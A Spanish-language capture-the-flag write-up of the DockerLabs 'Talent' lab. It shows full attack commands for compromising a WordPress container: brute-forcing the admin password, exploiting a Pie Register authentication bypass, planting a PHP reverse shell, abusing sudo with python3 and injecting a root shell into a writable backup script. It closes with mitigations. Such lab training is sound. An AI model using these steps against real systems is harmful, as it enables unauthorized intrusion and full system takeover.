DockerLabs Writeup — Talent (Spanish)
A continuación, describo la guía de resolución del laboratorio de DockerLabs denominado “Talent”.
Este laboratorio está catalogado con la dificultad “Medio” y su autor es “El Pingüino de Mario”.
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Contraseña débil,Common Vulnerabilities and Exposures (CVE),Divulgación de información,Privilegios SUDO
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- Varios recursos (plugin vulnerable y contraseña débil) permiten obtener acceso administrativo de varias formas al CMS WordPress expuesto. A su vez, estos privilegios administrativos permiten realizar el acceso inicial al sistema como el usuario
www-data. - Un privilegio SUDO permite acceder al contexto del usuario
bobbydirectamente. - Un privilegio SUDO asociado a un script modificable permite escalar privilegios al usuario
rootdirectamente.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 172.17.0.2
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Get David Prieto Montero (a.k.a Pyth0nK1d)’s stories in your inbox
Join Medium for free to get updates from this writer.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 80 -n -Pn 172.17.0.2 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (www-data)
En este caso se detecta que hay un puerto abierto:
- Puerto 80 (servicio HTTP, Apache httpd)
Al revisar el puerto 80, se muestra una página creada con el CMS WordPress.
URL -> http://172.17.0.2
Por ello, se realiza un escaneo de la página con ayuda de la herramienta WPScan para conocer más sobre esta.
wpscan --url http://172.17.0.2 --detection-mode aggressive -e ap,t,u -t 32En este caso se detectan dos recursos a los que se le debe prestar atención.
Alternativa 1 — Acceso administrativo mediante plugin vulnerable
El primero que identifica consiste en un plugin denominado “Pie Register” en su versión 3.7.1.0.
Esta versión concreta del plugin presenta una vulnerabilidad de authentication bypass que permite de forma no autenticada generar cookies de sesión válidas sobre cualquier usuario, pudiendo así escalar privilegios hasta la cuenta de máximos privilegios configurada para el sitio.
Referencia (CVE): https://nvd.nist.gov/vuln/detail/CVE-2025-34077Se detecta en GitHub un exploit que sirve para automatizar la explotación de esta vulnerabilidad.
Exploit: https://github.com/MrjHaxcore/CVE-2025-34077
Nota: Con descargar el script "pie.py" es suficienteUtilizando este exploit se obtienen directamente las cookies de sesión asociadas al usuario administrador del sitio.
python3 pie.py http://172.17.0.2
Para obtener acceso autenticado como este usuario, simplemente se deben incluir las cookies obtenidas en el almacenamiento del navegador. En este punto al intentar acceder a la parte administrativa del CMS se puede comprobar que es posible acceder al panel de administración sin necesidad de facilitar credenciales.
(almacenar las cookies en el navegador)
URL -> http://172.17.0.2/wp-admin
Alternativa 2 — Acceso administrativo descubriendo la contraseña
El segundo hallazgo consiste en el usuario “admin”.
Después de realizar un ataque de diccionario sobre este usuario utilizando nuevamente la herramienta WPScan, se termina detectando la contraseña válida para este usuario.
wpscan --url http://172.17.0.2 -U admin -P /usr/share/wordlists/rockyou.txt --password-attack xmlrpc -t 64
Esto significa que es posible aprovechar estas credenciales para acceder a la parte administrativa del CMS directamente.
URL -> http://172.17.0.2/wp-admin
(introducir credenciales descubiertas)
Acceso inicial al sistema tras acceso administrativo al CMS
Tras obtener acceso administrativo al CMS, es posible realizar el acceso inicial al sistema. Para ello, primero se establece una consola inversa escrita en PHP (PentestMonkey) en el archivo que se encuentra en el apartado “Tools” > “Plugin File Editor” > “Hello Dolly” > Select > “hello.php”. De esta forma, se modifica el plugin denominado “Hello Dolly” para que la incluya.
A continuación, se establece el puerto definido en la consola inversa a la escucha.
rlwrap nc -nvlp 1337
Por último, se accede a la lista de plugins disponibles y se activa el denominado “Hello Dolly” pulsando en “Activate” bajo dicho plugin.
Se puede comprobar que una vez hecho esto se obtiene acceso inicial al sistema como el usuario “www-data” a través del puerto a la escucha previamente establecido.
whoami
id
hostname
Se actualiza la consola a una TTY.
script /dev/null -c bash
CTRL+Z
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
(en una nueva consola local)
stty size
PRIMER NUMERO -> FILAS
SEGUNDO NUMERO -> COLUMNAS
(en la consola del objetivo)
stty rows <PRIMER NUMERO> cols <SEGUNDO NUMERO>En este punto, se obtiene una flag accesible por este usuario.
ls -al /home
cat /home/flag.txt
Escalada de privilegios (www-data -> bobby)
Al listar los privilegios SUDO, se puede comprobar que el usuario “www-data” puede ejecutar el binario “/usr/bin/python3” como el usuario del sistema “bobby” sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (bobby) NOPASSWD: /usr/bin/python3
sudo -l
Comprobando el binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.
Referencia: https://gtfobins.org/gtfobins/python/#shell
Sin embargo, al intentar probarlo, se comprueba que no es posible realizar la escalada de esta manera, ya que el binario no existe en su ubicación original.
sudo -u bobby /usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash")'
...
sudo: /usr/bin/python3: command not found
ls -al /usr/bin/python3
...
ls: cannot access '/usr/bin/python3': No such file or directory
Se comienza indagar otras vías por las cuales el usuario actual tiene acceso. Se detecta las credenciales de acceso a la base de datos en uno de los archivos de configuración del CMS.
head -n 40 /var/www/html/wp-config.php
Sin embargo, tras enumerar la base de datos accesible no se detecta nada que pueda aprovecharse desde este punto.
mysql -u wpuser -p
(introducir la contraseña descubierta)
mysql> show databases;
mysql> use wordpress;
(enumeración de base de datos, pero no se detecta nada relevante)
En este punto no se detecta nada más, por lo que en principio se podría dar por terminado este laboratorio, al no tener ninguna otra vía potencial destacable para escalar privilegios.
Nota importante: Como se desea continuar investigando el laboratorio y la no existencia del binario necesario parece ser un fallo en la configuración del entorno, se decide realizar una operación de configuración al laboratorio para incluirlo, ya que sin esto no parece que se pueda continuar.
Para ello, se interactúa directamente con el contenedor del laboratorio de forma privilegiada para realizar la instalación de Python y que así se traslade el binario necesario a la ubicación esperada.
sudo docker ps
sudo docker exec -it -u root talent_container bash -c "apt install python3 -y"
sudo docker exec -it -u root talent_container bash -c "apt update && apt install python3 -y"
Una vez termine esta operación, se puede comprobar que el binario existe y es posible escalar privilegios directamente al usuario “bobby”.
ls -al /usr/bin/python3
sudo -u bobby /usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash")'
whoami
id
hostname
Escalada de privilegios (bobby -> root)
Al listar los privilegios SUDO, se puede comprobar que el usuario “bobby” puede ejecutar el script “/opt/backup.py” como cualquier usuario del sistema sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (ALL) NOPASSWD: /usr/bin/python3 /opt/backup.py
Además, se puede comprobar que el script es legible por cualquier usuario, mientras que el directorio que contiene tiene permitida la escritura para cualquier usuario. Esto permite la escalada de privilegios pudiendo llegar a modificar al script debido a este permiso.
Nota importante: En este punto se comprueba que la ausencia del binario “python3” es un fallo de configuración del entorno, ya que sin él tampoco es posible realizar esta escalada de privilegios.
sudo -l
ls -al /opt/backup.py
ls -al /opt
Para hacer el script modificable, se genera una copia en la misma ubicación y se renombra, esto realiza el remplazo del script original, actualizando la propiedad del archivo a la del usuario actual. Al ser propietario del script, se tienen los máximos permisos sobre el mismo, permitiendo su modificación.
cp /opt/backup.py /opt/backup-tmp.py
ls -al /opt
mv /opt/backup-tmp.py /opt/backup.py
ls -al /opt 
De esta forma es posible incluir código arbitrario que permita ejecutar una consola interactiva en el contexto en el que se ejecuta para finalmente obtener acceso como el usuario “root”.
head /opt/backup.py
sed -i '6i \
import os\
os.system("/bin/bash -p")' /opt/backup.py
head /opt/backup.py
sudo -u root /usr/bin/python3 /opt/backup.py
whoami
id
hostname
En este punto, al haber obtenido acceso a la cuenta “root”, se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
Mitigaciones a aplicar
- Asegurarse de que los servicios expuestos y sus dependencias estén parcheados a la última versión para evitar que una vulnerabilidad conocida pueda ser explotada.
- Evitar que los usuarios del sistema u otros servicios críticos tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou u otro tipo de credenciales por defecto. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como “CIS Benchmarks” para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal:
https://pyth0nk1d.medium.com
